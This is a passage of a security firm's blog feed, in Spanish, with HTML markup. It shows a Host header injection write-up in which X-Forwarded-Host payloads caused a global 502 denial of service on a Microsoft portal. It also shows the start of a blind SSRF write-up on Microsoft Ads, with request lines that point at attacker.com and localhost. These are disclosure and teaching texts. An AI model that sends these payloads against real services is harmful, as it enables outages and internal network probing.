           Vulnerability assesment
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Como primer paso, forcé un Host header arbitrario para ver cómo reaccionaba la web, manteniendo el target real fijo en mi proxy (separando el Host header de la IP/puerto de destino para no “saltar” de servidor). Con el target apuntando al host legítimo, probé requests como:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           GET
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           /reset
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           HTTP/1.1
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Host
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           : attacker.com
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Si con un Host inesperado sigue funcionando la web, se puede inferir que hay un default/fallback virtual host y llega el momento de comenzar a observar qué hace el target con ese valor: ¿construye absolute URLs con Host?, ¿emite redirects basados en Host?, ¿altera routing o afecta caché?
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Al momento de hacer cambio de "Host" puedes recibir inmediatamente "Invalid Host header" o su equivalente... Esto suele pasar cuando en la arquitectura hay reverse proxy / load balancer / CDN al frente de la web, en estos casos hay otras técnicas que te permiten cambiar el "Host" pero sin tener que cambiarlo directamente.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Explotación con Headers "Forwarded"
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            ¿Qué es y por qué importa? La clave está en entender que estamos hablando de una vulnerabilidad que si bien impacta la aplicación web, se origina a nivel de protocolo. Las arquitecturas modernas casi siempre tienen saltos antes de llegar al backend real. Esto causa que el host a veces llegue modificado a su destino, esto puede ocurrir porque en algún "salto", algún asset del flujo, usa para la comunicación, un hostname local.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Dado que el backend en ocasiones requiere hacer un traceback y conocer el host original usado por el cliente, el protocolo HTTP ya ha implementado distintos headers que ayudan a realizar esta traza. Implementando esos headers, el backend sabe que host usar en las rutas.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           X-Forwarded-Host
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
              (XFH) es un header que el edge (reverse proxy/CDN/load balancer) debería fijar para que el back-end conozca el host público que vio en el borde (por ejemplo, dashboard.vulnerable.com). Esto es útil cuando el edge reenvía los requests con un "Host" interno, pero el endpoint necesita construir absolute URLs correctas (redirects, password reset, enlaces públicos). La siguiente ilustración explica de manera más didáctica el comportamiento explotando un Open Redirect.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Nota:
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            NO es X-Forwarded-For (XFF).
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/GET+HTTP1.1+Host+vulnerable.com.png" alt=""/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           OPEN REDIRECT
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Cualquier lógica del endpoint que construye absolute URLs terminó emitiendo enlaces basados en "Host":
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Password reset hijack (links de reset hacia mi dominio).
            &#xD;
        &lt;br/&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Open redirect en flujos que dependen de absolute URLs.
            &#xD;
        &lt;br/&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Cache poisoning si hay caches que indexan por host.
            &#xD;
        &lt;br/&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Potencial SSRF en callbacks que confían en el host resultante.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Denial of Service - Incorrect Host Parsing
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            En este momento es donde se pone más interesante el hallazgo. Para que el Host Header Injection tenga un impacto importante, debe ser o muy específico y encontrarlo en un endpoint como los antes mencionados o sencillamente debe ser adherida a otra vulnerabilidad.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Cuando explotas un Host Header Injection, así como en SSRF u Open Redirect, casi siempre hay en el backend, un parser que no está funcionando de forma adecuada. Este caso, no fue la excepción. Durante las pruebas que realicé, encontré que si el valor de X-Forwarded-Host contenía ciertos caracteres con URL encode, la aplicación (Backend) generaba un error y el Edge contestaba con un Error 502.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/GET+HTTP1.1+Host+vulnerable.com+%281%29.png" alt=""/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Cuando enviaba el payload correcto para explotar la vulnerabilidad, el dominio completo de la aplicación de Microsoft, quedaba Off con un error 502 en el index. De hecho, el DoS duraba mayor cantidad de tiempo según el payload que se ponía como valor, en algunos casos por cada request enviado, el portal reflejaba a nivel mundial Error 502 Service Unavailable hasta por 30 segundos.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            X-Forwarded-Host:
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            %2e%2F
           &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            attacker.com
           &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             (~10 segundos de DoS por request)
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            X-Forwarded-Host:
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            %2e%2F
           &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            attacker.com%3A123
           &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             (~30 seconds de DoS por request)
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/HOSTHEADER_502ERROR.png" alt=""/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Para subir el impacto de la aplicación hice un pequeño script en python que basicamente enviaba requests con el payload específico en el header X-Forwarded-Host de manera automática y mientras el exploit estaba en ejecución, el portal se veía con error 502 World Wide.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Buenas práticas y snippets
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Para que puedan practicar la vulnerabilidad y en caso tengan una aplicación vulnerable, les dejo un pequeño snippet de código explicando como se ve la vulnerabilidad desde el código fuente. Desde los headers.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           (Referencial) - Recomendaciones:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            No uses headers del cliente para el BASE_URL. Define el BASE_URL por entorno y consúltala desde un config file.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Si necesitas leer Host/X-Forwarded-Host, valida contra una allowlist y solo confía en headers seteados por tu reverse proxy/CDN (limpia los headers entrantes).
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            En el edge, no establezcas XFH → Host y fuerza canonical host (301/308) si llega uno no permitido.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Conclusiones
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           El caso presentado evidencia cómo una vulnerabilidad aparentemente menor, como confiar en el header "Host" puede convertirse en un vector crítico al interactuar con balanceadores, CDNs y parsers mal implementados. Lo que inició como un simple open redirect, aumentó considerablemente su impacto al escalar hasta un DoS global.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            La lección que quisiera destacar es que la seguridad web no solo depende del código de la aplicación, también depende de cómo los distintos componentes de la arquitectura interactuan entre ellos y con los protocolos. Validar y controlar los headers entrantes, junto con una configuración segura en el edge, es indispensable para evitar que un detalle, se pueda transformar en un ataque de gran impacto. El hacking web moderno ya no es solo aplicación, también son protocolos.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Todos los Pentest realizados por el equipo de Deep Security, son ejecutados con un nivel técnico avalado por la experiencia de un equipo que reporta vulnerabilidades a las empresas más grandes del mundo.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Si necesitas un Pentest profesional y acompañamiento continuo para mantener segura la superficie en internet de tu compañía,
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="/contacto"&gt;&#xD;
      
           escríbenos
          &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            y nuestro equipo comercial te contactará.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           .
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Host+Header+Injection+-+Microsoft+Ads.png" length="497689" type="image/png" />
      <pubDate>Sat, 30 Aug 2025 07:19:33 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/dos-via-host-header-injection</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Host+Header+Injection+-+Microsoft+Ads.png">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Host+Header+Injection+-+Microsoft+Ads.png">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Blind SSRF en Microsoft Ads</title>
      <link>https://www.deepsecurity.pe/blind-ssrf-en-microsoft-ads</link>
      <description />
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Server-Side+Request+Forgery+Avanzado+%281%29.png" alt=""/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Server-Side Request Forgery para Pentesters
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           En este artículo, mostraré el
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           roadmap de la explotación de un Blind SSRF encontrado en Microsoft Ads
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
           . Este análisis explica los controles implementados en la aplicación, así como también expone como esos controles fueron evadidos para enumerar endpoints en la red local del backend vulnerable.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            El Server-Side Request Forgery no es vulnerabilidad nueva para nosotros. En una anterior ocasión, ya hemos escrito en este
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="/server-side-request-forgery-en-www-msn-com"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            blog sobre un SSRF
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
              
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           que encontré en msn.com y con el cual pudimos llegar a la red local del Web Server. En aquellos días, esta vulnerabilidad estaba poco explotada y los controles implementados para mitigarla, eran realmente pensando en otras vulnerabilidades y no en SSRF como tal.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Cada vez hay más controles que limitan la posibilidad de explotación real de esta vulnerabilidad y ahora se requiere un mayor entendimiento del entorno y conocimiento preciso del flujo de confianza del servicio, para poder explotar este tipo de vulnerabilidades.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Blind SSRF y sus complicaciones
           &#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           En un escenario de blind SSRF, la explotación no se consigue enviando una URL arbitraria y esperando que algo ocurra. Dado que en este tipo de vulnerabilidad no se puede visualizar la respuesta de la petición, el análisis debe enfocarse en el comportamiento del componente para lograr inferir con la mayor certeza posible, la lógica con la que el backend  recibe, procesa y ejecuta la solicitud. Para que esa ejecución ocurra, el payload debe cumplir con los criterios internos del sistema que lo interpreta.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Esto implica entender con precisión qué condiciones hacen que una URL sea aceptada y procesada: desde la validez del hostname, la estructura del recurso (body), el formato de datos que recibe (filetype), el procesamiento de extensiones específicas (filename) o esquemas particulares. El objetivo no es forzar el sistema, sino alinear la trama con la expectativa del endpoint receptor para que ejecute una acción específica que el atacante quiere. Así es como se puede adquirir el mayor control de la ejecución de la trama. Explotar un blind SSRF de forma efectiva, requiere diseñar una respuesta de nuestro server que se integre naturalmente en la lógica del flujo interno.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Análisis del filtro de las URLs.
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Pasando al análisis técnico del comportamiento del servicio que identificamos como vulnerable en Microsoft Ads, lo primero interesante a mencionar, es que que el endpoint contaba con un control que evitaba que el recurso ingresado para ser procesado tuviese una URL que usara una IP como "hostname". De esta forma el backend evitaba que requests fuesen procesados y enviados si eran solicitados a una IP y no a un dominio. Este control dificulta realizar un escaneo a IPs locales de forma directa.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Funciona:
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           GET /path/process/r?url=http%3A%2F%2Fattacker.com&amp;amp;var=true&amp;amp;var=MD5
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           No funciona:
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           GET /path/process/r?url=http%3A%2F%2F127.0.0.1&amp;amp;var=true&amp;amp;var=MD5
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Además, el endpoint tenia un segundo control en el cual solo procesaba de forma adecuada las URLs (seguía el flujo completo de lógica) si la URL contenía en el nombre del archivo, un formato específico.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Funciona:
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           GET /path/process/r?url=http%3A%2F%2Fattacker.com/resource.zip&amp;amp;var=true&amp;amp;var=MD5
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           No funciona:
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           GET /path/process/r?url=http%3A%2F%2Fattacker.com/resource.txt&amp;amp;var=true&amp;amp;var=MD5
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
